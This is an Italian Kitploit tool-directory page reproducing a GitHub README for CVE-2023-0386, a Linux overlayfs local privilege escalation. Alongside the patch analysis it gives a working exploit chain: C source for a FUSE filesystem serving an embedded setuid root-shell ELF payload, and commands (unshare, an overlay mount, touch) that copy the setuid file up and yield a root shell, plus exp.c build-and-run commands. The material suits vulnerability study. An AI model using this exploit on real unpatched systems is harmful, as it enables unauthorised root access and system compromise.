Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-0386 — Exploit di escalation dei privilegi locale per CVE-2023-0386 che mira a overlayfs del kernel Linux. Include analisi dettagliata della vulnerabilità, codice PoC e guida allo sfruttamento passo-passo utilizzando FUSE e user namespaces. | Kitploit
Strumenti/GitHubGitHub/chenaotian/cve-2023-0386
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitFuzzingApprendimento e FormazioneBinary Exploitation
GitHubchenaotian/cve-2023-0386

CVE-2023-0386

Exploit di escalation dei privilegi locale per CVE-2023-0386 che mira a overlayfs del kernel Linux. Include analisi dettagliata della vulnerabilità, codice PoC e guida allo sfruttamento passo-passo utilizzando FUSE e user namespaces.

Vedi Repository
1242113 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

LEGGIMI

root@kitploit:~
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp

image-20230421161145840

Analisi della vulnerabilità

La conoscenza teorica in questo articolo (namespace, overlay filesystem, fuse filesystem, ecc.) proviene da chatGPT.

Introduzione alla vulnerabilità

ID vulnerabilità: CVE-2023-0386

Prodotto vulnerabile: kernel Linux - overlay filesystem

Interessato: 5.11 ~ 5.19

Prerequisiti: capacità di eseguire unshare o creare un overlay filesystem

Effetto: escalation dei privilegi locali

Configurazione dell'ambiente

Compilare il kernel manualmente:

Preparare una versione all'interno dell'intervallo vulnerabile, esclusa la 5.15 (pare che la 5.15 abbia dei problemi), abilitare i due fs overlay e fuse:

root@kitploit:~
CONFIG_SLUB_DEBUGOVERLAY_FS
CONFIG_FUSE_FS

Ubuntu 21.10 con kernel 5.13.0-16-generic testato funzionante:

image-20230421161145840

Principio della vulnerabilità

Prima dell'analisi della vulnerabilità, facciamo impersonare a chatGPT un esperto del kernel Linux:

(Chiedere a chatGPT: ora interpreterai un esperto del kernel Linux per aiutarmi a rispondere ad alcune domande)

Analisi della patch

Le informazioni pubbliche sulla vulnerabilità sono scarse; la più diretta è la patch. Link alla patch:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4f11ada10d0a

image-20230503165509094

Si può vedere che è stato aggiunto un controllo nella funzione ovl_copy_up_one. Chiediamo prima a chatGPT cosa fa questa funzione:

image-20230503214724428

Quindi questa funzione si verifica durante l'operazione di copia dal layer inferiore al layer superiore nell'overlay filesystem. Ora analizziamo il nuovo controllo della patch nel contesto:

root@kitploit:~
static int ovl_copy_up_one(struct dentry *parent, struct dentry *dentry,
                           int flags)
{
    int err;
    DEFINE_DELAYED_CALL(done);
    struct path parentpath;
    struct ovl_copy_up_ctx ctx = {
        .parent = parent,
        .dentry = dentry,
        .workdir = ovl_workdir(dentry),
    };

    if (WARN_ON(!ctx.workdir))
        return -EROFS;

    ovl_path_lower(dentry, &ctx.lowerpath);
    err = vfs_getattr(&ctx.lowerpath, &ctx.stat,  //[1] Ottiene le stat del filesystem sottostante
                      STATX_BASIC_STATS, AT_STATX_SYNC_AS_STAT);
    if (err)
        return err;
    //[2] La patch aggiunge il controllo se user id e group id nelle stat del file sono mappati nel namespace corrente
    if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||
        !kgid_has_mapping(current_user_ns(), ctx.stat.gid))
        return -EOVERFLOW;

[1] Innanzitutto, tramite la funzione vfs_getattr recupera gli attributi del file di destinazione nel filesystem sottostante. vfs_getattr ottiene la struttura struct stat corrispondente a un file passando una struttura struct path.

​ [1.1] ctx.lowerpath è il percorso di un file nel filesystem inferiore dell'overlay filesystem. L'overlay filesystem verrà introdotto successivamente.

​ [1.2] La struttura struct stat contiene informazioni sui metadati del file, inclusi il proprietario e il gruppo. Le informazioni sul proprietario del file così ottenute vengono verificate nel controllo aggiunto dalla patch.

[2] Quindi chiama la funzione kuid_has_mapping per verificare le informazioni sul proprietario e sul gruppo del file appena ottenute. Controlla se il proprietario e il gruppo del file di destinazione sono mappati nel namespace utente corrente.

​ [2.1] La funzione kuid_has_mapping riceve due parametri: una struttura struct user_namespace (namespace utente) e una struttura struct kuid (utente kernel). Questa funzione verifica se le informazioni sull'utente specificato sono mappate nel namespace utente specificato. La mappatura degli utenti nei namespace verrà spiegata in dettaglio più avanti.

Quindi sappiamo che, durante l'esecuzione dell'operazione della funzione vulnerabile (ovl_copy_up_one), se il proprietario o il gruppo del file di destinazione nel layer inferiore non è mappato nel namespace corrente, l'operazione fallirà.

Il principio della patch è quindi chiaro. Tuttavia, per riprodurre la vulnerabilità, dobbiamo risolvere i seguenti problemi:

  1. Come attivare la logica in cui si trova la funzione target ovl_copy_up_one, ovvero la copia dal layer inferiore al layer superiore nell'overlay filesystem?
  2. Che ruolo gioca lowerpath, il file di cui si verifica la mappatura del proprietario, nella catena logica?

Prima di rispondere a queste domande, dobbiamo comprendere alcune conoscenze di base:

Namespace

(Chiedere a chatGPT: per favore introduci i namespace nel kernel Linux)

In Linux, i namespace sono una funzionalità del kernel utilizzata per implementare l'isolamento delle risorse. Attraverso i namespace, un insieme di processi può apparire come se operasse in ambienti di sistema indipendenti, migliorando la sicurezza e la gestibilità del sistema. I namespace giocano un ruolo chiave nelle tecnologie dei container (come Docker), consentendo ai container di funzionare in ambienti isolati senza influenzare altri container o il sistema host.

Il kernel Linux supporta 7 tipi di namespace (mount, pid, net, ipc, user, time, cgroup), ognuno dei quali isola una specifica categoria di risorse di sistema. I namespace vengono creati, modificati e gestiti tramite una serie di system call (come clone, unshare e setns). I runtime dei container (come Docker) e altri strumenti di virtualizzazione sfruttano queste funzionalità per fornire ambienti di esecuzione indipendenti e isolati per i container.

User namespace

La funzione di controllo aggiunta dalla patch, kuid_has_mapping, riguarda lo user namespace tra i 7 namespace sopra menzionati.

(Chiedere a chatGPT: per favore introduci lo user namespace)

Lo user namespace viene utilizzato per isolare gli ID utente (UID) e gli ID gruppo (GID). Attraverso lo user namespace, è possibile utilizzare insiemi indipendenti di ID utente e gruppo in diversi namespace. Ciò significa che utenti e gruppi in uno user namespace possono avere ID o permessi diversi in un altro namespace. Lo user namespace migliora la sicurezza e la gestibilità del sistema, specialmente negli ambienti containerizzati.

La caratteristica chiave dello user namespace è la mappatura degli ID: lo user namespace consente di mappare UID e GID da un namespace a un altro. Ciò significa che, in diversi user namespace, gli stessi UID e GID possono rappresentare utenti e gruppi diversi. Ad esempio, un utente root (UID 0) in un container può essere mappato come utente non privilegiato nel sistema host.

Dobbiamo solo ricordare i seguenti punti:

  • Lo stesso utente (gruppo) ha uid (gid) diversi in diversi user namespace.
  • L'utente che crea un nuovo user namespace (esegue l'azione di creazione) è root nel nuovo user namespace.
  • Altri utenti devono essere mappati manualmente nel nuovo namespace (modificando /proc/[pid]/uid_map; /proc/[pid]/gid_map). Questa operazione richiede solitamente i permessi di root nel namespace iniziale.
  • Gli utenti non mappati vengono riconosciuti come nobody.

Ad esempio, se l'utente breeze crea un nuovo user namespace e poi in quel namespace guarda un file di proprietà di root, il gruppo visualizzato sarà nobody:

image-20230503205416800

Questo perché nel nuovo namespace, root è l'utente breeze che ha creato il namespace, mentre root del namespace iniziale non è stato mappato manualmente nel nuovo namespace, quindi viene riconosciuto come nobody.

Quindi ora sappiamo il significato di questa patch: per il file da copiare nell'overlay filesystem dal layer inferiore, è necessario che il suo proprietario (gruppo) sia mappato nel namespace corrente, altrimenti l'operazione fallisce. In altre parole, il caso in cui viene riconosciuto come nobody provoca il fallimento della copia.

Overlay filesystem

Principio

(Chiedere a chatGPT: per favore introduci l'overlay filesystem in Linux)

L'overlay filesystem (chiamato anche OverlayFS) è un filesystem virtuale del kernel Linux. Consente di unire due o più gerarchie di directory esistenti (chiamate layer “lower” e “upper”) in una vista unificata. L'overlay filesystem è molto utile per implementare la capacità di scrittura su filesystem di sola lettura (come le immagini), poiché reindirizza le operazioni di scrittura a un layer scrivibile sovrapposto. Questo approccio è ampiamente utilizzato nelle tecnologie dei container (come Docker), poiché fornisce una soluzione leggera e performante per la virtualizzazione dei filesystem.

  1. Layer lower: è il layer del filesystem di base, tipicamente sola lettura. Un overlay filesystem può avere uno o più layer lower.
  2. Layer upper: è un layer del filesystem scrivebile, che memorizza tutte le modifiche ai file del layer lower. Ciò include modifiche, creazioni ed eliminazioni di file.
  3. Workdir: è una directory scrivibile nello stesso filesystem del layer upper, utilizzata per memorizzare alcuni dati intermedi e metadati per supportare il corretto funzionamento di OverlayFS.
  4. Layer merged: è una vista virtuale e sintetica che unisce i layer lower e upper. Quando un utente accede all'overlay filesystem, vede questo layer merged. In questo layer, le modifiche dal layer upper sovrascrivono i file corrispondenti del layer lower. Per file con lo stesso nome, il file nel layer upper ha priorità. Per directory con lo stesso nome, vengono unite; si valuta solo se i file nelle directory hanno relazioni di sovrascrittura/blocco tra i layer.

Il diagramma seguente mostra l'effetto della corrispondenza tra le directory effettive dei layer e il layer merged per un overlay filesystem:

image-20230504100543888

Poiché il filesystem superiore è scrivibile, la modifica di un file proveniente dal layer superiore viene effettuata direttamente. Ma se un utente vuole modificare un file nel filesystem inferiore, come il file D nella figura sopra, poiché il filesystem inferiore è di sola lettura, il file D viene copiato (copy up) nel layer superiore diventando file D', e quindi viene modificato. In pratica, viene modificata la copia D' nel layer superiore, mentre il file D originale nel layer inferiore rimane invariato. Questo è il COW (copy on write) nell'overlay filesystem:

image-20230504103155100

Creare un overlay filesystem

(Chiedere a chatGPT: per favore dammi un esempio pratico di come creare un semplice overlay filesystem)

Mostriamo come creare un overlay filesystem con i seguenti passaggi:

Innanzitutto, creiamo le directory lower1, lower2, upper e work. Queste directory saranno utilizzate per l'overlay filesystem. Inoltre, dobbiamo creare un punto di mount (ad esempio, merged) per accedere alla vista unificata. Aggiungiamo anche del contenuto alle directory lower1 e lower2:

root@kitploit:~
mkdir lower1 lower2 upper work merged
echo "This is a file in lower1." > lower1/file1.txt
echo "This is a file in lower2." > lower2/file2.txt

Usiamo il comando mount con l'opzione -t overlay per montare l'overlay filesystem. Dobbiamo specificare i parametri lowerdir, upperdir e workdir, come segue:

root@kitploit:~
mount -t overlay overlay -o lowerdir=lower1:lower2,upperdir=upper,workdir=work merged

Nella directory merged possiamo vedere i file provenienti dai filesystem dei due layer:

image-20230503213819903

In questa directory, sia che si crei un nuovo file, lo si elimini o lo si modifichi, si modifica solo il filesystem superiore, senza influenzare quello inferiore. Ad esempio, creando un nuovo file (che viene effettivamente creato in upper):

image-20230503214009386

Modificando un file esistente (copiandolo da lower1 in upper e poi modificandolo):

image-20230503214138872

In sintesi, la logica rilevante per la vulnerabilità è: quando modifichiamo un file proveniente dal layer inferiore in un overlay filesystem, il file viene prima copiato nel filesystem superiore e poi viene eseguita la modifica.

Logica di attivazione della vulnerabilità

Dall'analisi precedente, possiamo ricostruire il quadro completo della vulnerabilità. Se in un overlay filesystem si verifica un'operazione di copy up (tentativo di modificare un file del layer inferiore, attivando la copia dal layer inferiore a quello superiore):

  • Logica della patch: non possiamo copiare file il cui proprietario (gruppo) non è ancora mappato nel namespace utente corrente.
  • Logica della vulnerabilità: tutti i file possono essere copiati normalmente, inclusi quelli il cui proprietario non è mappato nel namespace utente corrente.

Allora il problema è: perché copiare file il cui proprietario non è mappato causa un problema?

Sfruttamento della vulnerabilità

In realtà la risposta alla domanda precedente è semplice: copiare un file non significa solo copiare il contenuto, ma anche i metadati del file, ovvero le informazioni sul proprietario, timestamp, permessi e anche informazioni estese come le capabilities. Il rischio è: se il filesystem inferiore è un filesystem utente (come fuse), altamente controllabile dall'utente, che può personalizzare qualsiasi file, ma tale filesystem ha restrizioni (come nosuid), allora questa vulnerabilità consente di copiare un file suid personalizzato dall'utente da un filesystem nosuid a un filesystem normale, consentendo al file suid illegale di ottenere privilegi suid. Portando così a un'escalation dei privilegi.

Filesystem fuse

(Chiedere a chatGPT: per favore introduci il filesystem fuse)

FUSE (Filesystem in Userspace) è un'interfaccia per filesystem che consente agli utenti di implementare ed eseguire filesystem personalizzati nello spazio utente (anziché nello spazio kernel). FUSE è progettato per semplificare lo sviluppo e il deployment dei filesystem, offrendo buone prestazioni e sicurezza. FUSE è ampiamente utilizzato su Linux e altri sistemi Unix-like (come macOS e FreeBSD).

In parole semplici, il filesystem fuse ci consente di definire autonomamente alcune funzioni callback del filesystem a livello utente (come open, write, readdir e persino getattr, che riguarda i metadati dei file).

Il seguente codice di esempio per un filesystem fuse (generato da chatGPT) può servire sia come esempio didattico che per lo sfruttamento successivo della vulnerabilità:

(Chiedere a chatGPT: per favore dammi un semplice esempio di codice per un filesystem fuse, in cui ci sia un file hello con contenuto "helloworld" e che sia un file suid di proprietà di root)

Dopo semplici modifiche (modifica del contenuto del file con dati binari backdoor, modifica di alcuni permessi, dimensione, ecc.):

root@kitploit:~
#define FUSE_USE_VERSION 30

#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

static const char *hello_path = "/hello";  // c'è un file chiamato hello nel filesystem fuse, questo è il percorso
const char hello_str[] = {  // contenuto binario del file suid backdoor nel filesystem fuse
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
    0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
    0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
    0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
    0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
    0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
    0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
    0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
    0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
    0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
    0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
    0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};

static int hellofs_getattr(const char *path, struct stat *stbuf)  // funzione callback getattr per ottenere attributi di file/directory
{
    int res = 0;

    memset(stbuf, 0, sizeof(struct stat));

    if (strcmp(path, "/") == 0) {  // permessi della directory root del filesystem fuse, 0755
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
    } else if (strcmp(path, hello_path) == 0) {  // permessi del file hello, 777 con SUID
        stbuf->st_mode = S_IFREG | S_ISUID | 0777;
        stbuf->st_nlink = 1;
        stbuf->st_size = sizeof(hello_str);  // dimensione effettiva del file hello
    } else {
        res = -ENOENT;
    }

    return res;
}

static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
                           off_t offset, struct fuse_file_info *fi)  // funzione per ottenere informazioni sulla directory
{
    (void) offset;
    (void) fi;

    if (strcmp(path, "/") != 0) {  // al momento supporta solo la visualizzazione della directory root di fuse
        return -ENOENT;
    }

    filler(buf, ".", NULL, 0);  // di default mostra . e ..
    filler(buf, "..", NULL, 0);
    filler(buf, hello_path + 1, NULL, 0);  // la directory root di fuse contiene un file hello

    return 0;
}

static int hellofs_open(const char *path, struct fuse_file_info *fi)  // funzione callback open per aprire file
{
    if (strcmp(path, hello_path) != 0) {  // supporta solo l'apertura del file hello
        return -ENOENT;
    }

    return 0;
}

static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
                        struct fuse_file_info *fi)  // funzione callback read per leggere file
{
    size_t len;
    (void) fi;
    if (strcmp(path, hello_path) != 0) {  // supporta solo la lettura del file hello
        return -ENOENT;
    }
    len = sizeof(hello_str);
    if (offset < len) {
        if (offset + size > len) {
            size = len - offset;
        }
        memcpy(buf, hello_str + offset, size);  // restituisce il contenuto del file hello, l'array binario sopra
    } else {
        size = 0;
    }

    return size;
}

static struct fuse_operations hellofs_oper = {  // bastano solo le quattro callback sopra implementate
    .getattr = hellofs_getattr,
    .readdir = hellofs_readdir,
    .open = hellofs_open,
    .read = hellofs_read,
};

int main(int argc, char *argv[])
{
    return fuse_main(argc, argv, &hellofs_oper, NULL);  // registra le callback
}

Il codice sopra crea un filesystem fuse con un solo file chiamato hello, il cui contenuto è un programma backdoor binario, e i suoi permessi sono setuid di proprietà di root. Sono state implementate solo quattro callback, sufficienti per visualizzare, aprire e leggere il file hello. Possiamo compilare e montare il filesystem fuse con i seguenti comandi:

root@kitploit:~
gcc -Wall hellofs.c `pkg-config fuse --cflags --libs` -o hellofs
mkdir fusefs
./hellofs ./fusefs

Quindi nella directory fusefs possiamo vedere il nostro file hello, un file suid di proprietà di root:

image-20230504144546539

Tuttavia, un utente normale non può abilitare suid quando monta un filesystem fuse; in altre parole, i filesystem fuse montati da un utente normale sono tutti nosuid. Quindi anche se eseguiamo questo file backdoor suid, non possiamo ottenere i privilegi di root:

image-20230504144846572

Sfruttamento della vulnerabilità

Ora usiamo la vulnerabilità CVE-2023-0386 e il filesystem fuse sopra descritto per l'escalation dei privilegi.

  1. Innanzitutto dobbiamo costruire un overlay filesystem secondo lo scenario della vulnerabilità, utilizzando il filesystem fuse come layer inferiore, una directory scrivibile come layer superiore, creare workdir e altre directory relative all'overlay, e montare il filesystem fuse.

    root@kitploit:~
    mkdir hello_mount_point  overlay_mount_point  upperdir  workdir  # crea directory correlate
    ./hellofs hello_mount_point                                      # monta filesystem fuse
    

    image-20230504153904268

  2. Quindi creare un nuovo user namespace, mount namespace e pid namespace, perché successivamente dovremo creare un overlay filesystem. Di default non abbiamo permessi di mount, quindi nel nuovo namespace otteniamo i permessi di mount.

    root@kitploit:~
    unshare -Urm
    

    image-20230504153934490

  3. Creare l'overlay filesystem, usando il filesystem fuse contenente il file hello suid backdoor come layer inferiore, e il layer superiore è la directory upper scrivibile:

    root@kitploit:~
    mount -t overlay overlay -o lowerdir=hello_mount_point,upperdir=upperdir,workdir=workdir overlay_mount_point
    

    image-20230504154022811

    L'effetto corrente dell'overlay è mostrato nella figura seguente:

    image-20230504114747720

Ora il nostro obiettivo è sfruttare la vulnerabilità per copiare il file suid backdoor dal filesystem fuse montato con nosuid al filesystem upper, che è quello predefinito del sistema operativo e supporta suid. Questa operazione copierà il file backdoor insieme al suo attributo suid. Quindi dobbiamo attivare l'operazione di copy up dell'overlay filesystem, che si verifica tipicamente quando tentiamo di modificare un file del layer inferiore. Questo è anche il motivo per cui nel filesystem fuse abbiamo impostato i permessi del file hello a 777.

Curiosità sul comando touch

In realtà, "modificare un file" non significa solo modificare il contenuto; anche la modifica di altri attributi, come i timestamp, attiva l'operazione di copy up. Il comando touch, quando tenta di creare un file già esistente, non sovrascrive il file esistente, ma modifica solo i timestamp di accesso e modifica. Anche le informazioni sui timestamp sono considerate attributi estesi del file, e la loro modifica attiva la copia verso l'alto nell'overlay filesystem.

La call stack è la seguente: a causa della modifica dei timestamp di accesso e modifica, in ovl_setattr viene attivata la copia verso l'alto (copy up):

image-20230428112854184

  1. Tornando ai passaggi precedenti, dobbiamo solo entrare nella directory merged dell'overlay filesystem e usare touch per modificare i timestamp del file backdoor hello:

    root@kitploit:~
    touch overlay_mount_point/hello
    

    image-20230504154116918

    Qui è già stata attivata la copy up:

    image-20230504115008645

    Osserviamo la directory upper, cioè upperdir:

    root@kitploit:~
    ls -al upperdir
    

    image-20230504154216784

    Quindi usciamo dal namespace ed eseguiamo upperdir/hello per ottenere una shell da root:

    image-20230504154316023

exp

Vedi exp.c

Compilazione ed esecuzione:

root@kitploit:~
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp

Conclusione

Il significato di questa patch è che, se si tenta di eseguire un'escalation dei privilegi come nel nostro scenario, l'utente root del namespace iniziale non è mappato nel nuovo user namespace (e non possiamo mapparlo perché richiederebbe privilegi), quindi l'operazione fallisce. Se invece l'utente è già mappato nel nuovo namespace, viene considerato uno scenario legittimo.

Riferimenti

chatGPT

Scarica lo strumento